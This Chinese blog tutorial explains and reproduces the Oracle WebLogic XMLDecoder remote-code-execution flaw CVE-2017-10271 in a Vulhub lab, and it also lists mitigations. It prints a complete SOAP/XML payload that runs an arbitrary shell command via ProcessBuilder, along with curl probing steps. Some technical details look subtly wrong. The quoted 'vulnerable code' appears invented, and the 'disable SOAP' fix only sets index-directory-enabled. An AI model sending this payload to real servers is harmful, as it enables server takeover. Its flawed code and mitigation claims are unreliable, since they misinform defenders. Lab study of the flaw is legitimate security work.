当前位置: 首页 > news >正文

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)深度解析与实战复现

0x00 漏洞概述

CVE-2017-10271 是Oracle WebLogic Server WLS Security组件中的远程代码执行漏洞。攻击者通过构造恶意XML请求,利用XMLDecoder反序列化机制绕过安全验证,最终实现服务器权限接管

影响版本

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0~12.2.1.2

漏洞危害

  • 远程代码执行(RCE):直接获取服务器Shell
  • 数据泄露:读取数据库配置、密钥等敏感信息
  • 横向渗透:作为跳板攻击内网其他系统

0x01 漏洞原理

技术背景

WebLogic的wls-wsat组件(Web Services Atomic Transaction)用于处理SOAP协议请求,其核心流程如下:

SOAP Request → XMLDecoder解析 → 实例化Java对象 → 执行操作

漏洞触发点在于XMLDecoder未对反序列化内容做安全过滤,导致攻击者可通过恶意XML注入任意Java代码。

关键代码分析

漏洞位于wls-wsat.war!/CoordinatorPortType.java

public void processXML(XMLStreamReader xmlReader) {
    XMLDecoder decoder = new XMLDecoder(xmlReader); // 未校验输入直接反序列化
    Object obj = decoder.readObject();              // 恶意对象被实例化
    invokeBusinessLogic(obj);                       // 触发恶意逻辑
}

攻击载荷构造

利用java.lang.ProcessBuilder执行系统命令的典型XML结构:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.8" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>touch /tmp/pwned</string></void>
          </array>
          <void method="start"/></void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

0x02 环境搭建

实验环境

组件版本
Docker20.10+
Vulhub靶场weblogic/CVE-2017-10271
攻击机Kali Linux 2023

一键启动漏洞环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

访问 http://your-ip:7001 确认WebLogic控制台正常加载。


0x03 漏洞复现

步骤1:检测漏洞端点

发送探测请求到/wls-wsat/CoordinatorPortType端点:

curl -X GET http://target:7001/wls-wsat/CoordinatorPortType

若返回HTTP 200且包含WS-AtomicTransaction字样,则存在漏洞。

步骤2:构造RCE攻击

使用Burp Suite发送恶意SOAP请求:

  1. 请求路径POST /wls-wsat/CoordinatorPortType HTTP/1.1
  2. Content-Typetext/xml
  3. Payload:替换XML中的<string>touch /tmp/pwned</string>为任意命令

步骤3:验证执行结果

进入Docker容器检查命令是否执行:

docker exec -it <container-id> /bin/bash
ls -l /tmp/pwned  # 查看文件是否创建成功

0x04 修复方案

临时缓解

  1. 删除wls-wsat组件:
    rm -rf /weblogic/path/servers/AdminServer/tmp/_WL_internal/wls-wsat
    
  2. 禁用SOAP协议:
    <!-- 修改weblogic.xml -->
    <container-descriptor>
        <index-directory-enabled>false</index-directory-enabled>
    </container-descriptor>
    

官方补丁

升级至WebLogic 10.3.6.0.21110712.2.1.4.211107 及以上版本。

长期防御

  • 输入过滤:对XML内容进行白名单校验
  • 权限隔离:WebLogic进程以低权限用户运行
  • 流量监控:使用WAF拦截异常SOAP请求

0x05 防御思考

此漏洞暴露了反序列化信任边界的致命缺陷。开发过程中应遵循:

  1. 最小化反序列化接口暴露
  2. 采用安全的序列化协议(如JSON、Protobuf)
  3. 强制签名验证关键数据

参考资源

  • Oracle官方公告
  • CVE-2017-10271漏洞分析报告
  • WebLogic加固指南

实验声明:本文仅用于网络安全研究,请在合法授权环境下进行测试!

相关文章:

  • C/C++蓝桥杯算法真题打卡(Day6)
  • 在群晖DS923+手动安装我Wordpress最新版
  • 小科普《php、jsp、asp和aspx的区别》
  • 使用JSON存储数据的场景
  • 第七章:SELinux
  • DeepSeek R1在医院后勤故障报修工单自动化处理中的路径设计
  • API调用大模型推理与第三方API实现业务整合
  • leetcode974. 和可被 K 整除的子数组
  • 现代操作系统阅读笔记(一)
  • C#语言的事务管理
  • GESP2023年12月认证C++三级( 第三部分编程题(1)小猫分鱼)
  • 时间序列建模 | 时间序列预测【项目复现】数据挖掘实战③:基于Matplotlib对空气质量监测数据进行可视化分析(附带实例代码)
  • 算法刷题记录——LeetCode篇(8) [第701~800题](持续更新)
  • 关于Redis的集群(上)
  • java构建树形结构的方式、如何组装树状结构数据
  • ModBus TCP/RTU互转(主)(从)|| Modbus主动轮询下发的工业应用 || 基于智能网关的串口服务器进行Modbus数据收发的工业应用
  • 课程4. 图像处理算法与卷积神经网络
  • js核心运行逻辑
  • Vue的虚拟DOM算法准确来讲应该是叫做“snabbdom”或者--“diff算法”之类
  • 分布式全局ID生成方案
  • 俄罗斯纪念卫国战争胜利80周年阅兵式首次彩排在莫斯科举行
  • 现场聆听总书记讲话,“00后”博士和大模型CEO都“热血沸腾”
  • 人社部:一季度全国城镇新增就业308万人,同比增加5万人
  • A股三大股指小幅低收:电力股大幅调整,两市成交10221亿元
  • 观察|英国航母再次部署印太,“高桅行动”也是“高危行动”
  • 修订占比近30%收录25万条目,第三版《英汉大词典》来了